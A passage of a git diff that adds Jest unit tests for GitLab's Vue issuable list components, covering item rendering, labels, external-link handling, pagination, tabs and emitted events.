+ async ({ expanded, layoutPageClass }) => {
+ const wrappeCustom = createComponent({
+ expanded: !expanded,
+ });
+
+ // We need to manually flip the value of `expanded` for
+ // watcher to trigger.
+ wrappeCustom.setProps({
+ expanded,
+ });
+
+ await wrappeCustom.vm.$nextTick();
+
+ expect(wrappeCustom.classes()).toContain(layoutPageClass);
+
+ wrappeCustom.destroy();
+ },
+ );
+
+ it('renders contents for slot `bulk-edit-actions`', () => {
+ expect(wrapper.find('button.js-edit-issuables').exists()).toBe(true);
+ });
+
+ it('renders contents for slot `sidebar-items`', () => {
+ expect(wrapper.find('button.js-sidebar-dropdown').exists()).toBe(true);
+ });
+ });
+});
diff --git a/spec/frontend/vue_shared/issuable/list/components/issuable_item_spec.js b/spec/frontend/vue_shared/issuable/list/components/issuable_item_spec.js
new file mode 100644
index 00000000000..e38a80e7734
--- /dev/null
+++ b/spec/frontend/vue_shared/issuable/list/components/issuable_item_spec.js
@@ -0,0 +1,515 @@
+import { GlLink, GlLabel, GlIcon, GlFormCheckbox, GlSprintf } from '@gitlab/ui';
+import { useFakeDate } from 'helpers/fake_date';
+import { shallowMountExtended as shallowMount } from 'helpers/vue_test_utils_helper';
+import IssuableItem from '~/vue_shared/issuable/list/components/issuable_item.vue';
+import IssuableAssignees from '~/issuable/components/issue_assignees.vue';
+
+import { mockIssuable, mockRegularLabel, mockScopedLabel } from '../mock_data';
+
+const createComponent = ({
+ issuableSymbol = '#',
+ issuable = mockIssuable,
+ enableLabelPermalinks = true,
+ showCheckbox = true,
+ slots = {},
+} = {}) =>
+ shallowMount(IssuableItem, {
+ propsData: {
+ issuableSymbol,
+ issuable,
+ enableLabelPermalinks,
+ showDiscussions: true,
+ showCheckbox,
+ },
+ slots,
+ stubs: {
+ GlSprintf,
+ },
+ });
+
+const MOCK_GITLAB_URL = 'http://0.0.0.0:3000';
+
+describe('IssuableItem', () => {
+ // The mock data is dependent that this is after our default date
+ useFakeDate(2020, 11, 11);
+
+ const mockLabels = mockIssuable.labels.nodes;
+ const mockAuthor = mockIssuable.author;
+ const originalUrl = gon.gitlab_url;
+ let wrapper;
+
+ beforeEach(() => {
+ gon.gitlab_url = MOCK_GITLAB_URL;
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ gon.gitlab_url = originalUrl;
+ });
+
+ describe('computed', () => {
+ describe('author', () => {
+ it('returns `issuable.author` reference', () => {
+ wrapper = createComponent();
+
+ expect(wrapper.vm.author).toEqual(mockIssuable.author);
+ });
+ });
+
+ describe('authorId', () => {
+ it.each`
+ authorId | returnValue
+ ${1} | ${1}
+ ${'1'} | ${1}
+ ${'gid://gitlab/User/1'} | ${1}
+ ${'foo'} | ${null}
+ `(
+ 'returns $returnValue when value of `issuable.author.id` is $authorId',
+ async ({ authorId, returnValue }) => {
+ wrapper = createComponent({
+ issuable: {
+ ...mockIssuable,
+ author: {
+ ...mockAuthor,
+ id: authorId,
+ },
+ },
+ });
+
+ await wrapper.vm.$nextTick();
+
+ expect(wrapper.vm.authorId).toBe(returnValue);
+ },
+ );
+ });
+
+ describe('isIssuableUrlExternal', () => {
+ it.each`
+ issuableWebUrl | urlType | returnValue
+ ${'/gitlab-org/gitlab-test/-/issues/2'} | ${'relative'} | ${false}
+ ${`${MOCK_GITLAB_URL}/gitlab-org/gitlab-test/-/issues/1`} | ${'absolute and internal'} | ${false}
+ ${'http://jira.atlassian.net/browse/IG-1'} | ${'external'} | ${true}
+ ${'https://github.com/gitlabhq/gitlabhq/issues/1'} | ${'external'} | ${true}
+ `(
+ 'returns $returnValue when `issuable.webUrl` is $urlType',
+ async ({ issuableWebUrl, returnValue }) => {
+ wrapper = createComponent({
+ issuable: {
+ ...mockIssuable,
+ webUrl: issuableWebUrl,
+ },
+ });
+
+ await wrapper.vm.$nextTick();
+
+ expect(wrapper.vm.isIssuableUrlExternal).toBe(returnValue);
+ },
+ );
+ });
+
+ describe('labels', () => {
+ it('returns `issuable.labels.nodes` reference when it is available', () => {
+ wrapper = createComponent();
+
+ expect(wrapper.vm.labels).toEqual(mockLabels);
+ });
+
+ it('returns `issuable.labels` reference when it is available', async () => {
+ wrapper = createComponent({
+ issuable: {
+ ...mockIssuable,
+ labels: mockLabels,
+ },
+ });
+
+ await wrapper.vm.$nextTick();
+
+ expect(wrapper.vm.labels).toEqual(mockLabels);
+ });
+
+ it('returns empty array when none of `issuable.labels.nodes` or `issuable.labels` are available', async () => {
+ wrapper = createComponent({
+ issuable: {
+ ...mockIssuable,
+ labels: null,
+ },
+ });
+
+ await wrapper.vm.$nextTick();
+
+ expect(wrapper.vm.labels).toEqual([]);
+ });
+ });
+
+ describe('assignees', () => {
+ it('returns `issuable.assignees` reference when it is available', () => {
+ wrapper = createComponent();
+
+ expect(wrapper.vm.assignees).toBe(mockIssuable.assignees);
+ });
+ });
+
+ describe('updatedAt', () => {
+ it('returns string containing timeago string based on `issuable.updatedAt`', () => {
+ wrapper = createComponent();
+
+ expect(wrapper.vm.updatedAt).toContain('updated');
+ expect(wrapper.vm.updatedAt).toContain('ago');
+ });
+ });
+
+ describe('showDiscussions', () => {
+ it.each`
+ userDiscussionsCount | returnValue
+ ${0} | ${true}
+ ${1} | ${true}
+ ${undefined} | ${false}
+ ${null} | ${false}
+ `(
+ 'returns $returnValue when issuable.userDiscussionsCount is $userDiscussionsCount',
+ ({ userDiscussionsCount, returnValue }) => {
+ wrapper = createComponent({
+ issuableSymbol: '#',
+ issuable: {
+ ...mockIssuable,
+ userDiscussionsCount,
+ },
+ });
+
+ expect(wrapper.findByTestId('issuable-discussions').exists()).toBe(returnValue);
+ },
+ );
+ });
+ });
+
+ describe('methods', () => {
+ describe('scopedLabel', () => {
+ it.each`
+ label | labelType | returnValue
+ ${mockRegularLabel} | ${'regular'} | ${false}
+ ${mockScopedLabel} | ${'scoped'} | ${true}
+ `(
+ 'return $returnValue when provided label param is a $labelType label',
+ ({ label, returnValue }) => {
+ wrapper = createComponent();
+
+ expect(wrapper.vm.scopedLabel(label)).toBe(returnValue);
+ },
+ );
+ });
+
+ describe('labelTitle', () => {
+ it.each`
+ label | propWithTitle | returnValue
+ ${{ title: 'foo' }} | ${'title'} | ${'foo'}
+ ${{ name: 'foo' }} | ${'name'} | ${'foo'}
+ `('returns string value of `label.$propWithTitle`', ({ label, returnValue }) => {
+ wrapper = createComponent();
+
+ expect(wrapper.vm.labelTitle(label)).toBe(returnValue);
+ });
+ });
+
+ describe('labelTarget', () => {
+ it('returns target string for a provided label param when `enableLabelPermalinks` is true', () => {
+ wrapper = createComponent();
+
+ expect(wrapper.vm.labelTarget(mockRegularLabel)).toBe(
+ '?label_name[]=Documentation%20Update',
+ );
+ });
+
+ it('returns string "#" for a provided label param when `enableLabelPermalinks` is false', async () => {
+ wrapper = createComponent({
+ enableLabelPermalinks: false,
+ });
+
+ await wrapper.vm.$nextTick();
+
+ expect(wrapper.vm.labelTarget(mockRegularLabel)).toBe('#');
+ });
+ });
+ });
+
+ describe('template', () => {
+ it.each`
+ gitlabWebUrl | webUrl | expectedHref | expectedTarget
+ ${undefined} | ${`${MOCK_GITLAB_URL}/issue`} | ${`${MOCK_GITLAB_URL}/issue`} | ${undefined}
+ ${undefined} | ${'https://jira.com/issue'} | ${'https://jira.com/issue'} | ${'_blank'}
+ ${'/gitlab-org/issue'} | ${'https://jira.com/issue'} | ${'/gitlab-org/issue'} | ${undefined}
+ `(
+ 'renders issuable title correctly when `gitlabWebUrl` is `$gitlabWebUrl` and webUrl is `$webUrl`',
+ async ({ webUrl, gitlabWebUrl, expectedHref, expectedTarget }) => {
+ wrapper = createComponent({
+ issuable: {
+ ...mockIssuable,
+ webUrl,
+ gitlabWebUrl,
+ },
+ });
+
+ await wrapper.vm.$nextTick();
+
+ const titleEl = wrapper.find('[data-testid="issuable-title"]');
+
+ expect(titleEl.exists()).toBe(true);
+ expect(titleEl.find(GlLink).attributes('href')).toBe(expectedHref);
+ expect(titleEl.find(GlLink).attributes('target')).toBe(expectedTarget);
+ expect(titleEl.find(GlLink).text()).toBe(mockIssuable.title);
+ },
+ );
+
+ it('renders checkbox when `showCheckbox` prop is true', async () => {
+ wrapper = createComponent({
+ showCheckbox: true,
+ });
+
+ await wrapper.vm.$nextTick();
+
+ expect(wrapper.find(GlFormCheckbox).exists()).toBe(true);
+ expect(wrapper.find(GlFormCheckbox).attributes('checked')).not.toBeDefined();
+
+ wrapper.setProps({
+ checked: true,
+ });
+
+ await wrapper.vm.$nextTick();
+
+ expect(wrapper.find(GlFormCheckbox).attributes('checked')).toBe('true');
+ });
+
+ it('renders issuable title with `target` set as "_blank" when issuable.webUrl is external', async () => {
+ wrapper = createComponent({
+ issuable: {
+ ...mockIssuable,
+ webUrl: 'http://jira.atlassian.net/browse/IG-1',
+ },
+ });
+
+ await wrapper.vm.$nextTick();
+
+ expect(wrapper.find('[data-testid="issuable-title"]').find(GlLink).attributes('target')).toBe(
+ '_blank',
+ );
+ });
+
+ it('renders issuable confidential icon when issuable is confidential', async () => {
+ wrapper = createComponent({
+ issuable: {
+ ...mockIssuable,
+ confidential: true,
+ },
+ });
+
+ await wrapper.vm.$nextTick();
+
+ const confidentialEl = wrapper.find('[data-testid="issuable-title"]').find(GlIcon);
+
+ expect(confidentialEl.exists()).toBe(true);
+ expect(confidentialEl.props('name')).toBe('eye-slash');
+ expect(confidentialEl.attributes()).toMatchObject({
+ title: 'Confidential',
+ arialabel: 'Confidential',
+ });
+ });
+
+ it('renders spam icon when issuable is hidden', async () => {
+ wrapper = createComponent({ issuable: { ...mockIssuable, hidden: true } });
+
+ const hiddenIcon = wrapper.findComponent(GlIcon);
+
+ expect(hiddenIcon.props('name')).toBe('spam');
+ expect(hiddenIcon.attributes()).toMatchObject({
+ title: 'This issue is hidden because its author has been banned',
+ arialabel: 'Hidden',
+ });
+ });
+
+ it('renders task status', () => {
+ wrapper = createComponent();
+
+ const taskStatus = wrapper.find('[data-testid="task-status"]');
+ const expected = `${mockIssuable.taskCompletionStatus.completedCount} of ${mockIssuable.taskCompletionStatus.count} tasks completed`;
+
+ expect(taskStatus.text()).toBe(expected);
+ });
+
+ it('renders issuable reference', () => {
+ wrapper = createComponent();
+
+ const referenceEl = wrapper.find('[data-testid="issuable-reference"]');
+
+ expect(referenceEl.exists()).toBe(true);
+ expect(referenceEl.text()).toBe(`#${mockIssuable.iid}`);
+ });
+
+ it('renders issuable reference via slot', () => {
+ wrapper = createComponent({
+ issuableSymbol: '#',
+ issuable: mockIssuable,
+ slots: {
+ reference: `
+ <b class="js-reference">${mockIssuable.iid}</b>
+ `,
+ },
+ });
+ const referenceEl = wrapper.find('.js-reference');
+
+ expect(referenceEl.exists()).toBe(true);
+ expect(referenceEl.text()).toBe(`${mockIssuable.iid}`);
+ });
+
+ it('renders issuable createdAt info', () => {
+ wrapper = createComponent();
+
+ const createdAtEl = wrapper.find('[data-testid="issuable-created-at"]');
+
+ expect(createdAtEl.exists()).toBe(true);
+ expect(createdAtEl.attributes('title')).toBe('Jun 29, 2020 1:52pm UTC');
+ expect(createdAtEl.text()).toBe(wrapper.vm.createdAt);
+ });
+
+ it('renders issuable author info', () => {
+ wrapper = createComponent();
+
+ const authorEl = wrapper.find('[data-testid="issuable-author"]');
+
+ expect(authorEl.exists()).toBe(true);
+ expect(authorEl.attributes()).toMatchObject({
+ 'data-user-id': `${wrapper.vm.authorId}`,
+ 'data-username': mockAuthor.username,
+ 'data-name': mockAuthor.name,
+ 'data-avatar-url': mockAuthor.avatarUrl,
+ href: mockAuthor.webUrl,
+ });
+ expect(authorEl.text()).toBe(mockAuthor.name);
+ });
+
+ it('renders issuable author info via slot', () => {
+ wrapper = createComponent({
+ issuableSymbol: '#',
+ issuable: mockIssuable,
+ slots: {
+ reference: `
+ <span class="js-author">${mockAuthor.name}</span>
+ `,
+ },
+ });
+ const authorEl = wrapper.find('.js-author');
+
+ expect(authorEl.exists()).toBe(true);
+ expect(authorEl.text()).toBe(mockAuthor.name);
+ });
+
+ it('renders timeframe via slot', () => {
+ wrapper = createComponent({
+ issuableSymbol: '#',
+ issuable: mockIssuable,
+ slots: {
+ timeframe: `
+ <b class="js-timeframe">Jan 1, 2020 - Mar 31, 2020</b>
+ `,
+ },
+ });
+ const timeframeEl = wrapper.find('.js-timeframe');
+
+ expect(timeframeEl.exists()).toBe(true);
+ expect(timeframeEl.text()).toBe('Jan 1, 2020 - Mar 31, 2020');
+ });
+
+ it('renders gl-label component for each label present within `issuable` prop', () => {
+ wrapper = createComponent();
+
+ const labelsEl = wrapper.findAll(GlLabel);
+
+ expect(labelsEl.exists()).toBe(true);
+ expect(labelsEl).toHaveLength(mockLabels.length);
+ expect(labelsEl.at(0).props()).toMatchObject({
+ backgroundColor: mockLabels[0].color,
+ title: mockLabels[0].title,
+ description: mockLabels[0].description,
+ scoped: false,
+ target: wrapper.vm.labelTarget(mockLabels[0]),
+ size: 'sm',
+ });
+ });
+
+ it('renders issuable status via slot', () => {
+ wrapper = createComponent({
+ issuableSymbol: '#',
+ issuable: mockIssuable,
+ slots: {
+ status: `
+ <b class="js-status">${mockIssuable.state}</b>
+ `,
+ },
+ });
+ const statusEl = wrapper.find('.js-status');
+
+ expect(statusEl.exists()).toBe(true);
+ expect(statusEl.text()).toBe(`${mockIssuable.state}`);
+ });
+
+ it('renders discussions count', () => {
+ wrapper = createComponent();
+
+ const discussionsEl = wrapper.find('[data-testid="issuable-discussions"]');
+
+ expect(discussionsEl.exists()).toBe(true);
+ expect(discussionsEl.find(GlLink).attributes()).toMatchObject({
+ title: 'Comments',
+ href: `${mockIssuable.webUrl}#notes`,
+ });
+ expect(discussionsEl.find(GlIcon).props('name')).toBe('comments');
+ expect(discussionsEl.find(GlLink).text()).toContain('2');
+ });
+
+ it('renders issuable-assignees component', () => {
+ wrapper = createComponent();
+
+ const assigneesEl = wrapper.find(IssuableAssignees);
+
+ expect(assigneesEl.exists()).toBe(true);
+ expect(assigneesEl.props()).toMatchObject({
+ assignees: mockIssuable.assignees,
+ iconSize: 16,
+ maxVisible: 4,
+ });
+ });
+
+ it('renders issuable updatedAt info', () => {
+ wrapper = createComponent();
+
+ const updatedAtEl = wrapper.find('[data-testid="issuable-updated-at"]');
+
+ expect(updatedAtEl.attributes('title')).toBe('Sep 10, 2020 11:41am UTC');
+ expect(updatedAtEl.text()).toBe(wrapper.vm.updatedAt);
+ });
+
+ describe('when issuable is closed', () => {
+ it('renders issuable card with a closed style', () => {
+ wrapper = createComponent({ issuable: { ...mockIssuable, closedAt: '2020-12-10' } });
+
+ expect(wrapper.classes()).toContain('closed');
+ });
+ });
+
+ describe('when issuable was created within the past 24 hours', () => {
+ it('renders issuable card with a recently-created style', () => {
+ wrapper = createComponent({
+ issuable: { ...mockIssuable, createdAt: '2020-12-10T12:34:56' },
+ });
+
+ expect(wrapper.classes()).toContain('today');
+ });
+ });
+
+ describe('when issuable was created earlier than the past 24 hours', () => {
+ it('renders issuable card without a recently-created style', () => {
+ wrapper = createComponent({ issuable: { ...mockIssuable, createdAt: '2020-12-09' } });
+
+ expect(wrapper.classes()).not.toContain('today');
+ });
+ });
+ });
+});
diff --git a/spec/frontend/vue_shared/issuable/list/components/issuable_list_root_spec.js b/spec/frontend/vue_shared/issuable/list/components/issuable_list_root_spec.js
new file mode 100644
index 00000000000..5979a65e3cd
--- /dev/null
+++ b/spec/frontend/vue_shared/issuable/list/components/issuable_list_root_spec.js
@@ -0,0 +1,479 @@
+import { GlAlert, GlKeysetPagination, GlSkeletonLoading, GlPagination } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
+import VueDraggable from 'vuedraggable';
+
+import { TEST_HOST } from 'helpers/test_constants';
+
+import IssuableItem from '~/vue_shared/issuable/list/components/issuable_item.vue';
+import IssuableListRoot from '~/vue_shared/issuable/list/components/issuable_list_root.vue';
+import IssuableTabs from '~/vue_shared/issuable/list/components/issuable_tabs.vue';
+import FilteredSearchBar from '~/vue_shared/components/filtered_search_bar/filtered_search_bar_root.vue';
+
+import { mockIssuableListProps, mockIssuables } from '../mock_data';
+
+const createComponent = ({ props = {}, data = {} } = {}) =>
+ shallowMount(IssuableListRoot, {
+ propsData: {
+ ...mockIssuableListProps,
+ ...props,
+ },
+ data() {
+ return data;
+ },
+ slots: {
+ 'nav-actions': `
+ <button class="js-new-issuable">New issuable</button>
+ `,
+ 'empty-state': `
+ <p class="js-issuable-empty-state">Issuable empty state</p>
+ `,
+ },
+ stubs: {
+ IssuableTabs,
+ },
+ });
+
+describe('IssuableListRoot', () => {
+ let wrapper;
+
+ const findAlert = () => wrapper.findComponent(GlAlert);
+ const findFilteredSearchBar = () => wrapper.findComponent(FilteredSearchBar);
+ const findGlKeysetPagination = () => wrapper.findComponent(GlKeysetPagination);
+ const findGlPagination = () => wrapper.findComponent(GlPagination);
+ const findIssuableItem = () => wrapper.findComponent(IssuableItem);
+ const findIssuableTabs = () => wrapper.findComponent(IssuableTabs);
+ const findVueDraggable = () => wrapper.findComponent(VueDraggable);
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ describe('computed', () => {
+ beforeEach(() => {
+ wrapper = createComponent();
+ });
+
+ const mockCheckedIssuables = {
+ [mockIssuables[0].iid]: { checked: true, issuable: mockIssuables[0] },
+ [mockIssuables[1].iid]: { checked: true, issuable: mockIssuables[1] },
+ [mockIssuables[2].iid]: { checked: true, issuable: mockIssuables[2] },
+ };
+
+ const mIssuables = [mockIssuables[0], mockIssuables[1], mockIssuables[2]];
+
+ describe('skeletonItemCount', () => {
+ it.each`
+ totalItems | defaultPageSize | currentPage | returnValue
+ ${100} | ${20} | ${1} | ${20}
+ ${105} | ${20} | ${6} | ${5}
+ ${7} | ${20} | ${1} | ${7}
+ ${0} | ${20} | ${1} | ${5}
+ `(
+ 'returns $returnValue when totalItems is $totalItems, defaultPageSize is $defaultPageSize and currentPage is $currentPage',
+ async ({ totalItems, defaultPageSize, currentPage, returnValue }) => {
+ wrapper.setProps({
+ totalItems,
+ defaultPageSize,
+ currentPage,
+ });
+
+ await wrapper.vm.$nextTick();
+
+ expect(wrapper.vm.skeletonItemCount).toBe(returnValue);
+ },
+ );
+ });
+
+ describe('allIssuablesChecked', () => {
+ it.each`
+ checkedIssuables | issuables | specTitle | returnValue
+ ${mockCheckedIssuables} | ${mIssuables} | ${'same as'} | ${true}
+ ${{}} | ${mIssuables} | ${'not same as'} | ${false}
+ `(
+ 'returns $returnValue when bulkEditIssuables count is $specTitle issuables count',
+ async ({ checkedIssuables, issuables, returnValue }) => {
+ wrapper.setProps({
+ issuables,
+ });
+
+ await wrapper.vm.$nextTick();
+
+ wrapper.setData({
+ checkedIssuables,
+ });
+
+ await wrapper.vm.$nextTick();
+
+ expect(wrapper.vm.allIssuablesChecked).toBe(returnValue);
+ },
+ );
+ });
+
+ describe('bulkEditIssuables', () => {
+ it('returns array of issuables which have `checked` set to true within checkedIssuables map', async () => {
+ wrapper.setData({
+ checkedIssuables: mockCheckedIssuables,
+ });
+
+ await wrapper.vm.$nextTick();
+
+ expect(wrapper.vm.bulkEditIssuables).toHaveLength(mIssuables.length);
+ });
+ });
+ });
+
+ describe('watch', () => {
+ beforeEach(() => {
+ wrapper = createComponent();
+ });
+
+ describe('issuables', () => {
+ it('populates `checkedIssuables` prop with all issuables', async () => {
+ wrapper.setProps({
+ issuables: [mockIssuables[0]],
+ });
+
+ await wrapper.vm.$nextTick();
+
+ expect(Object.keys(wrapper.vm.checkedIssuables)).toHaveLength(1);
+ expect(wrapper.vm.checkedIssuables[mockIssuables[0].iid]).toEqual({
+ checked: false,
+ issuable: mockIssuables[0],
+ });
+ });
+ });
+
+ describe('urlParams', () => {
+ it('updates window URL reflecting props within `urlParams`', async () => {
+ const urlParams = {
+ state: 'closed',
+ sort: 'updated_asc',
+ page: 1,
+ search: 'foo',
+ };
+
+ wrapper.setProps({
+ urlParams,
+ });
+
+ await wrapper.vm.$nextTick();
+
+ expect(global.window.location.href).toBe(
+ `${TEST_HOST}/?state=${urlParams.state}&sort=${urlParams.sort}&page=${urlParams.page}&search=${urlParams.search}`,
+ );
+ });
+ });
+ });
+
+ describe('methods', () => {
+ beforeEach(() => {
+ wrapper = createComponent();
+ });
+
+ describe('issuableId', () => {
+ it('returns id value from provided issuable object', () => {
+ expect(wrapper.vm.issuableId({ id: 1 })).toBe(1);
+ expect(wrapper.vm.issuableId({ iid: 1 })).toBe(1);
+ expect(wrapper.vm.issuableId({})).toBeDefined();
+ });
+ });
+
+ describe('issuableChecked', () => {
+ it('returns boolean value representing checked status of issuable item', async () => {
+ wrapper.setData({
+ checkedIssuables: {
+ [mockIssuables[0].iid]: { checked: true, issuable: mockIssuables[0] },
+ },
+ });
+
+ await wrapper.vm.$nextTick();
+
+ expect(wrapper.vm.issuableChecked(mockIssuables[0])).toBe(true);
+ });
+ });
+ });
+
+ describe('template', () => {
+ it('renders component container element with class "issuable-list-container"', () => {
+ wrapper = createComponent();
+
+ expect(wrapper.classes()).toContain('issuable-list-container');
+ });
+
+ it('renders issuable-tabs component', () => {
+ wrapper = createComponent();
+
+ const tabsEl = findIssuableTabs();
+
+ expect(tabsEl.exists()).toBe(true);
+ expect(tabsEl.props()).toMatchObject({
+ tabs: wrapper.vm.tabs,
+ tabCounts: wrapper.vm.tabCounts,
+ currentTab: wrapper.vm.currentTab,
+ });
+ });
+
+ it('renders contents for slot "nav-actions" within issuable-tab component', () => {
+ wrapper = createComponent();
+
+ const buttonEl = findIssuableTabs().find('button.js-new-issuable');
+
+ expect(buttonEl.exists()).toBe(true);
+ expect(buttonEl.text()).toBe('New issuable');
+ });
+
+ it('renders filtered-search-bar component', () => {
+ wrapper = createComponent();
+
+ const searchEl = findFilteredSearchBar();
+ const {
+ namespace,
+ recentSearchesStorageKey,
+ searchInputPlaceholder,
+ searchTokens,
+ sortOptions,
+ initialFilterValue,
+ initialSortBy,
+ } = wrapper.vm;
+
+ expect(searchEl.exists()).toBe(true);
+ expect(searchEl.props()).toMatchObject({
+ namespace,
+ recentSearchesStorageKey,
+ searchInputPlaceholder,
+ tokens: searchTokens,
+ sortOptions,
+ initialFilterValue,
+ initialSortBy,
+ });
+ });
+
+ it('renders gl-loading-icon when `issuablesLoading` prop is true', () => {
+ wrapper = createComponent({ props: { issuablesLoading: true } });
+
+ expect(wrapper.findAllComponents(GlSkeletonLoading)).toHaveLength(
+ wrapper.vm.skeletonItemCount,
+ );
+ });
+
+ it('renders issuable-item component for each item within `issuables` array', () => {
+ wrapper = createComponent();
+
+ const itemsEl = wrapper.findAllComponents(IssuableItem);
+ const mockIssuable = mockIssuableListProps.issuables[0];
+
+ expect(itemsEl).toHaveLength(mockIssuableListProps.issuables.length);
+ expect(itemsEl.at(0).props()).toMatchObject({
+ issuableSymbol: wrapper.vm.issuableSymbol,
+ issuable: mockIssuable,
+ });
+ });
+
+ it('renders contents for slot "empty-state" when `issuablesLoading` is false and `issuables` is empty', () => {
+ wrapper = createComponent({ props: { issuables: [] } });
+
+ expect(wrapper.find('p.js-issuable-empty-state').exists()).toBe(true);
+ expect(wrapper.find('p.js-issuable-empty-state').text()).toBe('Issuable empty state');
+ });
+
+ it('renders only gl-pagination when `showPaginationControls` prop is true', () => {
+ wrapper = createComponent({
+ props: {
+ showPaginationControls: true,
+ totalItems: 10,
+ },
+ });
+
+ expect(findGlKeysetPagination().exists()).toBe(false);
+ expect(findGlPagination().props()).toMatchObject({
+ perPage: 20,
+ value: 1,
+ prevPage: 0,
+ nextPage: 2,
+ totalItems: 10,
+ align: 'center',
+ });
+ });
+
+ it('renders only gl-keyset-pagination when `showPaginationControls` and `useKeysetPagination` props are true', () => {
+ wrapper = createComponent({
+ props: {
+ hasNextPage: true,
+ hasPreviousPage: true,
+ showPaginationControls: true,
+ useKeysetPagination: true,
+ },
+ });
+
+ expect(findGlPagination().exists()).toBe(false);
+ expect(findGlKeysetPagination().props()).toMatchObject({
+ hasNextPage: true,
+ hasPreviousPage: true,
+ });
+ });
+
+ describe('alert', () => {
+ const error = 'oopsie!';
+
+ it('shows alert when there is an error', () => {
+ wrapper = createComponent({ props: { error } });
+
+ expect(findAlert().text()).toBe(error);
+ });
+
+ it('emits "dismiss-alert" event when dismissed', () => {
+ wrapper = createComponent({ props: { error } });
+
+ findAlert().vm.$emit('dismiss');
+
+ expect(wrapper.emitted('dismiss-alert')).toEqual([[]]);
+ });
+
+ it('does not render when there is no error', () => {
+ wrapper = createComponent();
+
+ expect(findAlert().exists()).toBe(false);
+ });
+ });
+ });
+
+ describe('events', () => {
+ const data = {
+ checkedIssuables: {
+ [mockIssuables[0].iid]: { checked: true, issuable: mockIssuables[0] },
+ },
+ };
+
+ it('issuable-tabs component emits `click-tab` event on `click-tab` event', () => {
+ wrapper = createComponent({ data });
+
+ findIssuableTabs().vm.$emit('click');
+
+ expect(wrapper.emitted('click-tab')).toBeTruthy();
+ });
+
+ it('sets all issuables as checked when filtered-search-bar component emits `checked-input` event', () => {
+ wrapper = createComponent({ data });
+
+ const searchEl = findFilteredSearchBar();
+
+ searchEl.vm.$emit('checked-input', true);
+
+ expect(searchEl.emitted('checked-input')).toBeTruthy();
+ expect(searchEl.emitted('checked-input').length).toBe(1);
+
+ expect(wrapper.vm.checkedIssuables[mockIssuables[0].iid]).toEqual({
+ checked: true,
+ issuable: mockIssuables[0],
+ });
+ });
+
+ it('filtered-search-bar component emits `filter` event on `onFilter` & `sort` event on `onSort` events', () => {
+ wrapper = createComponent({ data });
+
+ const searchEl = findFilteredSearchBar();
+
+ searchEl.vm.$emit('onFilter');
+ expect(wrapper.emitted('filter')).toBeTruthy();
+ searchEl.vm.$emit('onSort');
+ expect(wrapper.emitted('sort')).toBeTruthy();
+ });
+
+ it('sets an issuable as checked when issuable-item component emits `checked-input` event', () => {
+ wrapper = createComponent({ data });
+
+ const issuableItem = wrapper.findAllComponents(IssuableItem).at(0);
+
+ issuableItem.vm.$emit('checked-input', true);
+
+ expect(issuableItem.emitted('checked-input')).toBeTruthy();
+ expect(issuableItem.emitted('checked-input').length).toBe(1);
+
+ expect(wrapper.vm.checkedIssuables[mockIssuables[0].iid]).toEqual({
+ checked: true,
+ issuable: mockIssuables[0],
+ });
+ });
+
+ it('emits `update-legacy-bulk-edit` when filtered-search-bar checkbox is checked', () => {
+ wrapper = createComponent({ data });
+
+ findFilteredSearchBar().vm.$emit('checked-input');
+
+ expect(wrapper.emitted('update-legacy-bulk-edit')).toEqual([[]]);
+ });
+
+ it('emits `update-legacy-bulk-edit` when issuable-item checkbox is checked', () => {
+ wrapper = createComponent({ data });
+
+ findIssuableItem().vm.$emit('checked-input');
+
+ expect(wrapper.emitted('update-legacy-bulk-edit')).toEqual([[]]);
+ });
+
+ it('gl-pagination component emits `page-change` event on `input` event', () => {
+ wrapper = createComponent({ data, props: { showPaginationControls: true } });
+
+ findGlPagination().vm.$emit('input');
+ expect(wrapper.emitted('page-change')).toBeTruthy();
+ });
+
+ it.each`
+ event | glKeysetPaginationEvent
+ ${'next-page'} | ${'next'}
+ ${'previous-page'} | ${'prev'}
+ `(
+ 'emits `$event` event when gl-keyset-pagination emits `$glKeysetPaginationEvent` event',
+ ({ event, glKeysetPaginationEvent }) => {
+ wrapper = createComponent({
+ data,
+ props: { showPaginationControls: true, useKeysetPagination: true },
+ });
+
+ findGlKeysetPagination().vm.$emit(glKeysetPaginationEvent);
+
+ expect(wrapper.emitted(event)).toEqual([[]]);
+ },
+ );
+ });
+
+ describe('manual sorting', () => {
+ describe('when enabled', () => {
+ beforeEach(() => {
+ wrapper = createComponent({
+ props: {
+ ...mockIssuableListProps,
+ isManualOrdering: true,
+ },
+ });
+ });
+
+ it('renders VueDraggable component', () => {
+ expect(findVueDraggable().exists()).toBe(true);
+ });
+
+ it('IssuableItem has grab cursor', () => {
+ expect(findIssuableItem().classes()).toContain('gl-cursor-grab');
+ });
+
+ it('emits a "reorder" event when user updates the issue order', () => {
+ const oldIndex = 4;
+ const newIndex = 6;
+
+ findVueDraggable().vm.$emit('update', { oldIndex, newIndex });
+
+ expect(wrapper.emitted('reorder')).toEqual([[{ oldIndex, newIndex }]]);
+ });
+ });
+
+ describe('when disabled', () => {
+ beforeEach(() => {
+ wrapper = createComponent();
+ });
+
+ it('does not render VueDraggable component', () => {
+ expect(findVueDraggable().exists()).toBe(false);
+ });
+ });
+ });
+});
diff --git a/spec/frontend/vue_shared/issuable/list/components/issuable_tabs_spec.js b/spec/frontend/vue_shared/issuable/list/components/issuable_tabs_spec.js
new file mode 100644
index 00000000000..8c22b67bdbe
--- /dev/null
+++ b/spec/frontend/vue_shared/issuable/list/components/issuable_tabs_spec.js
@@ -0,0 +1,96 @@
+import { GlTab, GlBadge } from '@gitlab/ui';
+import { mount } from '@vue/test-utils';
+
+import IssuableTabs from '~/vue_shared/issuable/list/components/issuable_tabs.vue';
+
+import { mockIssuableListProps } from '../mock_data';
+
+const createComponent = ({
+ tabs = mockIssuableListProps.tabs,
+ tabCounts = mockIssuableListProps.tabCounts,
+ currentTab = mockIssuableListProps.currentTab,
+} = {}) =>
+ mount(IssuableTabs, {
+ propsData: {
+ tabs,
+ tabCounts,
+ currentTab,
+ },
+ slots: {
+ 'nav-actions': `
+ <button class="js-new-issuable">New issuable</button>
+ `,
+ },
+ });
+
+describe('IssuableTabs', () => {
+ let wrapper;
+
+ beforeEach(() => {
+ wrapper = createComponent();
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ const findAllGlBadges = () => wrapper.findAllComponents(GlBadge);
+ const findAllGlTabs = () => wrapper.findAllComponents(GlTab);
+
+ describe('methods', () => {
+ describe('isTabActive', () => {
+ it.each`
+ tabName | currentTab | returnValue
